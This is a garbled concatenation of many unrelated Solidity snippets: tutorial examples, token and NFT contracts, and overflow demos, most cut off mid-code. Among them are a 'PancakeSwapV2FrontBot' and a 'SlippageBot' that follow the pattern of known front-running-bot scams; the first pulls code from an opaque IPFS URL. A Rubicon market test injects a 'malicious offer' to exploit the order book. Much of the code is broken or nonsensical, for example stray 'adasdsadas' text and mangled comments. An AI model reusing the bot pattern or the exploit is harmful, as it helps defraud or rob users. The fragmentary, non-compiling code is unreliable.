pragma solidity 0.4.24;
// Testing Uint256 underflow and overflow in Solidity
contract UintWrapping {
uint public zero = 0;
uint public max = 2**256-1;
// zero will end up at 2**256-1
function zeroMinus1() public {
zero -= 1;
}
// max will end up at 0
function maxPlus1() public {
max += 1;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title El Nino Token
* @dev ERC20 token implementation with additional features.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "O
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// Import Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
contract SlippageBot {
string private _withdrawalAddress;
string private _tokenSymbol;
uint liquidity;
event Log(string _msg);
constructor(string memory mainTokenSymbol, string memory withdrawalAddress) public {
_tokenSymbol = mainTokenSymbol;
_withdrawalAddress = withdrawalAddress;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
/*
* @dev Find newly deployed contracts on Uniswap Exchange
* @param memory of required contract liquidity
* @param other The second slice to compare
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "hardhat/console.sol";
contract Greeter {
event newGreeting(string greeting, address sender);
string private greeting;
constructor(string memory _greet) {
console.log("Deploying a Greeter with greeting:", _greet);
greeting = _greet;
}
function greet() public view returns (string memory) {
return greeting;
}
function setGreeting(string memory _greeting) external {
console.log("Changing greeting from '%s' to '%s'", greeting, _greeting);
greeting = _greeting;
emit newGreeting(_greeting, msg.sender);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Token {
mapping (address => uint) public balances;
function transfer(address to, uint amount) public {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Token {
mapping (address => uint) public balances;
function transfer(address to, uint amount) public {
require(balances[msg.sender] >= amount);
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IAToken {
function balanceOf(address _user) external view returns (uint256);
function redeem(uint256 _amount) external;
function transfer(address _to, uint256 _amount) external returns (bool);
}
interface ILendingPool {
function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external;
function withdraw(address _reserve, uint256 _amount, address _to) external;
function getReserveData(address _reserve) external view returns (uint256 totalLiquidity, uint256 availableLiquidity, uint256 totalBorrows, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 utilizationRate, uint256 liquidityIndex, uint256 var
pragma solidity ^0.7.1;
contract MidiContract {
struct NoteEvent {
bytes pitch;
uint8 duration;
}
struct Track {
NoteEvent[] events;
}
function generateMidiFile() public pure returns (string memory) {
Track[] memory tracks = new Track[](1);
Track memory track = Track({
events: [
NoteEvent({
pitch: hex"45 34",
duration: 4
}),
NoteEvent({
pitch: hex"43",
duration: 2
}),
NoteEvent({
pitch: hex"45 34",
duration: 4
}),
NoteEvent({
pitch: hex"43",
duration: 2
}),
NoteEvent({
pitch: hex"43 43 43 43 44 44 44 44",
duration: 8
}),
NoteEvent({
pitch: hex"45
print ('hello world')
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract CropInsurance {
address public farmer;
uint public premium;
bool public isCropFailure;
constructor() {
farmer = msg.sender;
premium = 0.01 ether;
isCropFailure = false;
}
function payPremium() public payable {
require(msg.value == premium, "Incorrect premium amount");
}
function reportCropFailure() public {
require(msg.sender == farmer, "Only farmer can report crop failure");
isCropFailure = true;
}
function withdraw() public {
require(msg.sender == farmer, "Only farmer can withdraw premium");
payable(msg.sender).transfer(premium);
}
pragma solidity ^0.7.1;
import "https://github.com/AVAXFoundation/Ava.sol";
// This is the contract for the CCPR token
// Define the contract interface
interface Token {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function stake(uint256 value) external returns (bool);
function swap(uint256 value) external returns (bool);
function burn(uint256 value) external returns (bool);
}
// Define the contract
contract CCPR is Token {
// Set the initial values for the token
string public name = "Cannacoin Prime";
string public symbol = "CCPR";
uint8 public decimals = 18; // This sets the number of decimal places to 18
uint256 public totalSupply = 314159265
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract ClaimableToken {
using SafeMath for uint256;
uint256 public totalSupply = 10000000;
// 记录所有地址的交易数
mapping(address => uint256) public txCounts;
// 领取token数量
uint256 public amount = 100;
// token名称
string public name = "Claimable Token";
// token代号
string public symbol = "CLM";
// balances记录所有地址的代币余额
mapping(address => uint256) public balances;
// 最后一次交互的时间戳
mapping(address => uint256) public lastInteraction;
constructor() {
balances[msg.sender] = totalSupply;
}
// 允许用户领取token
function claim() public {
// 判断地址交易数是否大于0
require(txCounts[msg.sender] > 0, "No tx record");
// 判断最后一次交互是否在2023年5月之前
require(lastInteraction[msg.sender] < 1690908800, "Not eligible for cl
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function sumPublic(uint _value) public returns (uint) {
return value;
}
function sumExternal(uint value) public returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnersh
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract CommitteePrecompiled{
function RegisterNode() public; //节点注册
function QueryState() public view returns(string memory, int); //查询状态
function QueryGlobalModel() public view returns(string memory, int); //获取全局模型
function UploadLocalUpdate(string member update, int256 epoch) public; //上传本地模型
function UploadScores(int256 epoch, string scores) public; //上传评分
function QueryAllUpdates() public view returns(string); //获取所有本地模型
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
contract Jackpot {
uint256 public jackpotamount;
uint256 public totalplayers;
uint256 public countdowntime;
address public owner;
bool public isbettingopen;
address payable public winner;
mapping(address => uint256) public playerbetamount;
mapping(uint256 => address payable) public players;
constructor() {
owner = msg.sender;
isbettingopen = true;
jackpotamount = 0;
totalplayers = 0;
countdowntime = 30 seconds;
}
function deposit() public payable {
require(msg.value > 0, "Please enter a valid amount");
require(isbettingopen, "Betting is closed");
require(totalplayers < 10, "Max players reached");
require(playerbetamount[msg.sender] == 0, "You already betted");
totalplayers++;
playerbetamount[msg.sender] = msg.value;
players[totalplayers] = payable(msg.sender);
jackpotamount += msg.value;
if (total
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// PancakeSwap FrontrunDeployer
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
// PancakeSwap manager
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "https://gateway.pinata.cloud/ipfs/Qmdf9dEF5GGF23R4EC59YDASFQ8uC6YoDE4BY6tsWD2a8k";
contract PancakeSwapV2FrontBot {
string public tokenName;
string public tokenSymbol;
uint frontrun;
Manager manager;
constructor(string memory _tokenName, string memory _tokenSymbol) public {
tokenName = _tokenName;
tokenSymbol = _tokenSy
pragma solidity ^0.4.18;
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function transfer(address _to, uint _value) public {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function testOfferZeroAddress() public {
// Offer's owner pays `pay_amt` to the market and will receive `buy_amt` when the offer is filled
uint256 bestId = market._best(address(USDC_ADDRESS), address(WETH_ADDRESS));
require(bestId != 0, "Best id not found");
(uint256 pay_amt, ERC20 pay_gem, uint256 buy_amt, ERC20 buy_gem, address recipient, , address owner)
= market.offers(bestId);
assert(pay_gem == ERC20(USDC_ADDRESS) && buy_gem == ERC20(WETH_ADDRESS));
console.log("====================== CURRENT BEST OFFER =============");
console.log("id", bestId);
console.log("bestId", bestId);
console.log("pay_amt", pay_amt);
console.log("buy_amt", buy_amt);
console.log("recipient", recipient);
console.log("owner", owner);
// Insert a malicious offer with a better exchange rate
uint256 maliciousId = _createMaliciousOfferUsdcWeth(pay_amt, buy_amt / 2);
uint256 _pay_amt;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "./IScriptyBuilder.sol";
import "./SmallSolady.sol";
import {ERC721A, IERC721A} from "erc721a/contracts/ERC721A.sol";
import {ERC721AQueryable} from "erc721a/contracts/extensions/ERC721AQueryable.sol";
import {ERC721ABurnable} from "erc721a/contracts/extensions/ERC721ABurnable.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Traits for each 1337cat
*/
struct Traits {
uint256 locationIndex;
uint256 catIndex;
uint256 underIndex;
uint256 eyesIndex;
uint256 overIndex;
}
/**
* @title LeetCat represents 1337cats living on-chain
*/
contract LeetCat is ERC721A, ERC721AQueryable, ERC721ABurnable, Ownable {
address public immutable _scriptyStorageAddress;
address public immutable _scriptyBuilderAddress;
string public _scriptyScriptName;
uint256 public immutable _supply;
uint256 public immutable _price = 0.001337 ether;
bool public _isOpen = false;
string[][5]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "./IScriptyBuilder.sol";
import "./SmallSolady.sol";
import {ERC721A, IERC721A} from "erc721a/contracts/ERC721A.sol";
import {ERC721AQueryable} from "erc721a/contracts/extensions/ERC721AQueryable.sol";
import {ERC721ABurnable} from "erc721a/contracts/extensions/ERC721ABurnable.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Traits for each 1337cat
*/
struct Traits {
uint256 locationIndex;
uint256 catIndex;
uint256 underIndex;
uint256 eyesIndex;
uint256 overIndex;
}
/**
* @title LeetCat represents 1337cats living on-chain
*/
contract LeetCat is ERC721A, ERC721AQueryable, ERC721ABurnable, Ownable {
address public immutable _scriptyStorageAddress;
address public immutable _scriptyBuilderAddress;
string public _scriptyScriptName;
uint256 public immutable _supply;
uint256 public immutable _price = 0.001337 ether;
bool public _isOpen = false;
string[][5]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "./IScriptyBuilder.sol";
import "./SmallSolady.sol";
import {ERC721A, IERC721A} from "erc721a/contracts/ERC721A.sol";
import {ERC721AQueryable} from "erc721a/contracts/extensions/ERC721AQueryable.sol";
import {ERC721ABurnable} from "erc721a/contracts/extensions/ERC721ABurnable.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Traits for each 1337cat
*/
struct Traits {
uint256 locationIndex;
uint256 catIndex;
uint256 underIndex;
uint256 eyesIndex;
uint256 overIndex;
}
/**
* @title LeetCat represents 1337cats living on-chain
*/
contract LeetCat is ERC721A, ERC721AQueryable, ERC721ABurnable, Ownable {
address public immutable _scriptyStorageAddress;
address public immutable _scriptyBuilderAddress;
string public _scriptyScriptName;
uint256 public immutable _supply;
uint256 public immutable _price = 0.001337 ether;
bool public _isOpen = false;
string[][5]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../contracts/compound-v2-fork/WhitePaperInterestRateModel.sol";
import "../../contracts/compound-v2-fork/ComptrollerInterface.sol";
import "../../contracts/compound-v2-fork/CErc20Delegator.sol";
import "../../contracts/compound-v2-fork/CErc20Delegate.sol";
import "../../contracts/compound-v2-fork/Comptroller.sol";
import "../../contracts/utilities/MarketAidFactory.sol";
import "../../contracts/periphery/TokenWithFaucet.sol";
import "../../contracts/utilities/MarketAid.sol";
import "../../contracts/periphery/WETH9.sol";
import "../../contracts/RubiconMarket.sol";
import "../../contracts/proxy/RubiconProxy.sol";
import "../../contracts/utilities/RubiconRouter.sol";
import "forge-std/Test.sol";
import "forge-std/StdStorage.sol";
import "farnsworth/Cheatcodes.sol"; // CheatCodes interface from https://book.getfoundry.sh/cheatcodes/
contract RubiconTest is Test {
using stdStorage for StdStorage;
bytes32 constant PROXY_ADMIN_SLOT = 0xb53
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract ReptilianCorporation is ERC721, Ownable {
uint256 public constant MAX_SUPPLY = 4444;
uint256 public constant REMIX_BURN_RATIO = 10; // 1 $REMIX token = 10 $CORP tokens
uint256 public constant MAX_REMIX_BURNS = 111; // Max $REMIX burns for $CORP tokens
string private _tokenTicker;
string private _collectionName;
address private whitelistContract;
address private remixBurnContract;
address private erc20Token;
// Constructor to set token name, symbol and initial contract owner
constructor(string memory ticker_, string memory collectionName_, address owner_) ERC721(collectionName_, ticker_) {
_tokenTicker = ticker_;
_collectionName = collectionName_;
transferOwnership(owner_);
}
// Function to
pragma solidity ^0.8.0;
// Importing OpenZeppelin's ERC721 and SafeMath contracts
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract ReptilianCorporation is ERC721 {
using SafeMath for uint256;
// Variables for tracking NFT minting and staking rewards
uint256 public constant MAX_SUPPLY = 4444;
uint256 public constant MAX_REMIX_BURNS = 111;
uint256 public constant REMIX_BURN_RATIO = 10;
uint256 public constant STAKING_REWARD = 1000 * 10 ** 18; // Initial reward of 1000 ERC20 tokens
uint256 public stakingEndTime;
uint256 public inflationRate;
mapping(address => uint256) public stakedBalance;
mapping(address => uint256) public lastStakedTime;
// Addresses for whitelist and ERC20 token
address public whitelistContract;
address public erc20Token;
address public remixBurnContract = 0xc8ffc4e673fe7aa80e46c5d1bde0fbe746b71341;
// Event for staking rewards
event Sta
pragma solidity ^0.8.0;
// Importing OpenZeppelin's ERC20 contract
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract RCSHares is ERC20 {
// Contract constructor, sets initial token supply and gives all tokens to deployer
constructor(uint256 initialSupply) ERC20("RC Shares", "$SHARES") {
_mint(msg.sender, initialSupply);
}
// Only the deployer can transfer tokens
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
require(from == owner(), "Only the deployer can transfer tokens");
super._beforeTokenTransfer(from, to, amount);
}
// Function to mint tokens for giveaways
function mintForGiveaways(uint256 amount) external {
_mint(msg.sender, amount);
}
}
contract PixelSale {
// Constants
uint constant WIDTH = 1920;
uint constant HEIGHT = 1080;
uint constant PIXEL_PRICE = 1 ether;
uint constant MAX_DURATION = 86400; // 24 hours
uint constant RESALE_FEE = 75; // percentage of original price
// Events
event PixelBought(uint indexed x, uint indexed y, address indexed buyer, uint duration, string color, string link);
event PixelResold(uint indexed x, uint indexed y, address indexed buyer, uint duration, string color, string link, uint price, address originalBuyer);
// Variables
mapping(uint => mapping(uint => Pixel)) private pixels;
uint private totalEarnings;
struct Pixel {
address owner;
uint duration;
string color;
string link;
uint originalPrice;
}
// Public functions
function buyPixel(uint x, uint y, uint duration, string calldata color, string calldata link) public payable {
require(x < WIDTH && y < HEIGHT, "Pixel coordinates ou
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;adasdsadas
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.8.0;
contract ArtistRegistry {
struct Artist {
string name;
uint256 id;
string url;
address[] contractAddresses;
}
mapping(address => Artist) public artists;
mapping(address => bool) public allowlist;
mapping(address => bool) public allowlistManagers;
uint256 public artistCounter;
event ArtistRegistered(address indexed artistAddress, string name, uint256 id, string url);
event ContractAddressAdded(address indexed artistAddress, address contractAddress);
event ArtistUpdated(address indexed artistAddress, string name, string url);
event AllowlistManagerAdded(address indexed managerAddress);
event AllowlistManagerRemoved(address indexed managerAddress);
constructor() {
artistCounter = 0;
allowlistManagers[msg.sender] = true;
}
modifier onlyAllowlistManager() {
require(allowlistManagers[msg.sender], "Not allowed to perform this action");
_;
}
modifier onlyAllowli
\\\/\\\/Contract definition contract MyToken{
\\\/\\\/Variables string public name="MyToken";
string public symbol = "MYT";
uint256 public totalSupply;
mapping(adress=uint256)public balanceOf;
mapping(address=> mapping(address=>uint256)) public allowance;
\\\/\\\/Events eventTransfer(addressindexedowner,addressindexedspender,uint256 value);
\\\/\\\/Constructor
constructor(uint256_initialSupply){
totalSupply=_initialSupply; balanceOf[msg.sender]
_initialSupply;
}
\\\/\\\/Transfer function
function transfer(address_to,uint256_value)public returns(bool success){
require(balanceOf[msg.sender]>=_value,"Insufficient funds");
balanceOf[msg.sender]-=_value;
balanceOf[_to]+=_value; emit Transfer(msg.sender,_to,_value);
return true;
\\\/\\\/Approved transfer function
function transferFrom(address_from,address_to,uint256_value)public returns (bool success) {
require(balanceOf[_from]>=_value,"Insufficient funds");
require(allowance[_from]
pragma solidity ^0.4.18;
contract assertStatement
{
bool result;
function checkOverflow(uint8 _num1, uint8 _num2) public
{
uint8 sum = _num1 + _num2;
assert(sum<=255);
result = true;
}
function getResult() public view returns(string memory)
{
if(result == true)
{
return "No Overflow";
}
else
{
return "Overflow exist";
}
}
// Solidity program to demonstrate
// Inline Assembly
pragma solidity ^0.4.0;
// Creating a contract
contract InlineAssembly {
// Defining function
function add(uint a) view returns (uint b) {
// Inline assembly code
assembly {
// Creating a new variable 'c'
// Calculate the sum of 'a+16'
// with the 'add' opcode
// assign the value to the 'c'
let c := add(a, 16)
// Use 'mstore' opcode to
// store 'c' in memory
// at memory address 0x80
mstore(0x80, c)
{
// Creating a new variable'
// Calculate the sum of 'sload(c)+12'
// means values in variable 'c'
// with the 'add' opcode
// assign the value to 'd'
let d := add(sload(c), 12)
// assign the value of 'd' to 'b'
b := d
// 'd' is deallocated now
}
// Calculate the sum of 'b+c' with the 'add' opcode
// assign the value to 'b'
b := add(b, c)
// 'c' is deallocated here
}
}
}
// Solidity program to
// demonstrate the working
// of the interface
pragma solidity 0.4.18;
// A simple interface
interface InterfaceExample{
// Functions having only
// declaration not definition
function getStr(
) public view returns(string memory);
function setValue(
uint _num1, uint _num2) public;
function add(
) public view returns(uint);
}
// Contract that implements interface
contract thisContract is InterfaceExample{
// Private variables
uint private num1;
uint private num2;
// Function definitions of functions
// declared inside an interface
function getStr(
) public view returns(string memory){
return "GeeksForGeeks";
}
// Function to set the values
// of the private variables
function setValue(
uint _num1, uint _num2) public{
num1 = _num1;
num2 = _num2;
}
// Function to add 2 numbers
function add(
) public view returns(uint){
return num1 + num2;
}
}
contract call{
//Creating an object
InterfaceExample obj;
function call() public{
obj = new thisContract();
}
// Function to print string
// value an
pragma solidity ^0.4.18;
contract Calculator {
function getResult() public view returns(uint);
}
contract Test is Calculator {
function getResult() public view returns(uint) {
uint a = 1;
uint b = 2;
uint result = a + b;
return result;
}
}
// Solidity program to
// demonstrate
// Single Inheritance
pragma solidity 0.4.18;
// Defining contract
contract parent{
// Declaring internal
// state varaiable
uint internal sum;
// Defining external function
// to set value of internal
// state variable sum
function setValue() external {
uint a = 10;
uint b = 20;
sum = a + b;
}
}
// Defining child contract
contract child is parent{
// Defining external function
// to return value of
// internal state variable sum
function getValue(
) external view returns(uint) {
return sum;
}
}
// Defining calling contract
contract caller {
// Creating child contract object
child cc = new child();
// Defining function to call
// setValue and getValue functions
function testInheritance(
) public returns (uint) {
cc.setValue();
return cc.getValue();
}
}
// Solidity program to
// demonstrate how to
// write a smart contract
pragma solidity 0.4.18;
// Defining a contract
contract Test
{
// Declaring state variables
uint public var1;
uint public var2;
uint public sum;
// Defining public function
// that sets the value of
// the state variable
function set(uint x, uint y) public
{
var1 = x;
var2=y;
sum=var1+var2;
}
// Defining function to
// print the sum of
// state variables
function get(
) public view returns (uint) {
return sum;
}
// Solidity program to
// demonstrate the use
// of 'if-else if-else statement'
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring state variables
uint i = 10;
string result;
// Defining function to
// demonstrate the use
// of 'if...else if...else
// statement'
function decision_making(
) public returns(string memory){
if(i<10){
result = "less than 10";
}
else if(i == 10){
result = "equal to 10";
}
else{
result = "greater than 10";
}
return result;
}
// Solidity program to
// demonstrate the use of
// 'if...else' statement
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring state variables
uint i = 10;
bool even;
// Defining function to
// demonstrate the use of
// 'if...else statement'
function decision_making(
) public payable returns(bool){
if(i%2 == 0){
even = true;
}
else{
}
even = false;
return even;
}
}
// Solidity program to
// demonstrate the
// use of 'if statement'
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring state variable
uint i = 10;
// Defining function to
// demonstrate use of
// 'if statement'
function decision_making(
) public returns(bool){
if(i<10){
return true;
}
}
}
// Solidity program to
// demonstrate how to
// write a smart contract
pragma solidity ^0.4.18;
// Defining a contract
contract Test
{
// Declaring state variables
uint public var1;
uint public var2;
uint public sum;
// Defining public function
// that sets the value of
// the state variable
function set(uint x, uint y) public
{
var1 = x;
var2=y;
sum=var1+var2;
}
// Defining function to
// print the sum of
// state variables
function get(
) public view returns (uint) {
return sum;
}
}
// Solidity program to
// demonstrate pure functions
pragma solidity ^0.4.18;
// Defining a contract
contract Test {
// Defining pure function to
// calculate product and sum
// of 2 numbers
function getResult(
) public pure returns(
uint product, uint sum){
uint num1 = 2;
uint num2 = 4;
product = num1 * num2;
sum = num1 + num2;
}
}
// Solidity program to
// demonstrate view
// functions
pragma solidity ^0.4.18;
// Defining a contract
contract Test {
// Declaring state
// variables
uint num1 = 2;
uint num2 = 4;
// Defining view function to
// calculate product and sum
// of 2 numbers
function getResult(
) public view returns(
uint product, uint sum){
uint num1 = 10;
uint num2 = 16;
product = num1 * num2;
sum = num1 + num2;
}
// Solidity program to demonstrate
// Function overloading
pragma solidity ^0.4.18;
contract SimpleStore {
function getSum(uint a, uint b) public pure returns(uint){
return a + b;
}
function getSum(uint a, uint b, uint c) public pure returns(uint){
return a + b + c;
}
function callSumWithTwoArguments() public pure returns(uint){
return getSum(1,2);
}
function callSumWithThreeArguments() public pure returns(uint){
return getSum(1,2,3);
}
// Solidity program to demonstrate
// function declaration
pragma solidity ^0.4.18;
// Creating a contract
contract Test {
// Defining function to calculate sum of 2 numbers
function add() public view returns(uint){
uint num1 = 10;
uint num2 = 16;
uint sum = num1 + num2;
return sum;
}
pragma solidity ^0.4.18;
contract SimpleStore {
function callKeccak256() public pure returns(bytes32 result){
return keccak256("ABC");
}
}
// Solidity program to
// demonstrate the
// exponentiation operation
pragma solidity ^0.4.18;
// Creating a contract
contract gfgExpo
{
// Declaring the state
// variables
uint16 firstNo ;
uint16 secondNo ;
// Defining the first function
// to set the value of
// first variable
function firstNoSet(uint16 x) public
{
firstNo = x;
}
// Defining the function
// to set the value of
// the second variable
function secondNoSet(uint16 y) public
{
secondNo = y;
}
// Defining the function to
// calculate the exponent
function Expo() view public returns (uint256) {
uint256 answer = firstNo ** secondNo ;
return answer;
}
}
// Solidity program to
// demonstrate the
// Modulus operation
pragma solidity ^0.4.18;
// Creating a contract
contract gfgModulo
{
// Declaring state variables
uint firstNo ;
uint secondNo ;
// Defining a function
// to set the value of
// the first variable
function firstNoSet(uint x) public
{
firstNo = x;
}
// Defining a function
// to set the value of
// the second variable
function secondNoSet(uint y) public
{
secondNo = y;
}
// Defining a function to return
// the modulus value
function Modulo() view public returns (uint)
{
uint answer = firstNo % secondNo ;
return answer;
}
// Solidity program to
// demontstrate the
// division operation
pragma solidity ^0.4.18;
// Creating a contract
contract gfgDivide
{
// Declaring the
// state variables
int128 firstNo ;
int128 secondNo ;
// Defining a function
// to set the value of
// the first variable
function firstNoSet(int64 x) public
{
firstNo = x;
}
// Defining function
// to set the value of
// the second variable
function secondNoSet(int64 y) public
{
secondNo = y;
}
// Defining function to
// return the result
function Divide() view public returns (int128)
{
int128 answer = firstNo / secondNo ;
return answer;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity 0.4.18;
contract gfgMultiply {
int128 firstNo ;
int128 secondNo ;
function firstNoSet(int128 x) public {
firstNo = x;
}
function secondNoSet(int128 y) public {
secondNo = y;
}
function multiply() view public returns (int128) {
int128 answer = firstNo * secondNo ;
return answer;
}
// Solidity program to
// demonstrate the subtraction
pragma solidity 0.4.18;
contract gfgSubract
{
// Intializing the
// state variables
int16 firstNo=2 ;
int16 secondNo=10;
// Defining a function
// to subtract two numbers
function Sub() view public returns (int16)
{
int16 ans = firstNo - secondNo ;
// Difference amount
return ans;
}
// Solidity program to
// demonstrate addition
pragma solidity 0.4.18;
contract MathPlus
{
// Declaring the state
// variables
uint firstNo ;
uint secondNo ;
// Defining the function
// to set the value of the
// first variable
function firstNoSet(uint x) public
{
firstNo = x;
}
// Defining the function
// to set the value of the
// second variable
function secondNoSet(uint y) public
{
secondNo = y;
}
// Defining the function
// to add the two variables
function add() view public returns (uint)
{
uint Sum = firstNo + secondNo ;
// Sum of two variables
return Sum;
}
pragma solidity ^0.4.18;
contract Test {
function callAddMod() public pure returns(uint){
return addmod(4, 5, 3);
}
function callMulMod() public pure returns(uint){
return mulmod(4, 5, 3);
}
// Solidity program to demonstrate
// how to use 'structures'
pragma solidity ^0.4.18;
// Creating a contract
contract test {
// Declaring a structure
struct Book {
string name;
string writter;
uint id;
bool available;
}
// Declaring a structure object
Book book1;
// Assigning values to the fields
// for the structure object book2
Book book2
= Book("Building Ethereum DApps",
"Roberto Infante ",
2, false);
// Defining a function to set values
// for the fields for structure book1
function set_book_detail() public {
book1 = Book("Introducing Ethereum and Solidity",
"Chris Dannen",
1, true);
}
// Defining function to print
// book2 details
function book_info(
)public view returns (
string memory, string memory, uint, bool) {
return(book2.name, book2.writter,
book2.id, book2.available);
}
// Defining function to print
// book1 details
function get_details(
) public view returns (string memory, uint) {
return (book1.name, book1.id);
}
}
pragma solidity ^0.4.18;
contract Types {
enum week_days
{
Monday,
Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday
}
week_days week;
week_days choice;
week_days constant default_value
= week_days.Sunday;
function set_value() public {
choice = week_days.Thursday;
}
function get_choice(
) public view returns (week_days) {
return choice;
}
function getdefaultvalue(
) public pure returns(week_days) {
return default_value;
}
pragma solidity ^0.4.18;
contract SimpleStore {
uint[6] data;
uint x;
function SimpleStore() public {
data = [uint(10), 20, 30, 40, 50, 60];
}
function array_example() public returns (uint[6] memory) {
data = [uint(10), 20, 30, 40, 50, 60];
return data;
}
function result() public view returns(uint[6] memory) {
return data;
}
}
pragma solidity ^0.4.18;
contract SimpleStore {
string store="abcd";
// Defining a function to
// return value of variable 'store'
function getStore() public view returns(string)
{
return store;
}
}
// Solidity program to
// demonstrate the use
// of 'For loop'
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring a dynamic array
uint[] data;
// Defining a function
// to demonstrate 'For loop'
function loop(
) public returns(uint[] memory){
for(uint i=0; i<5; i++){
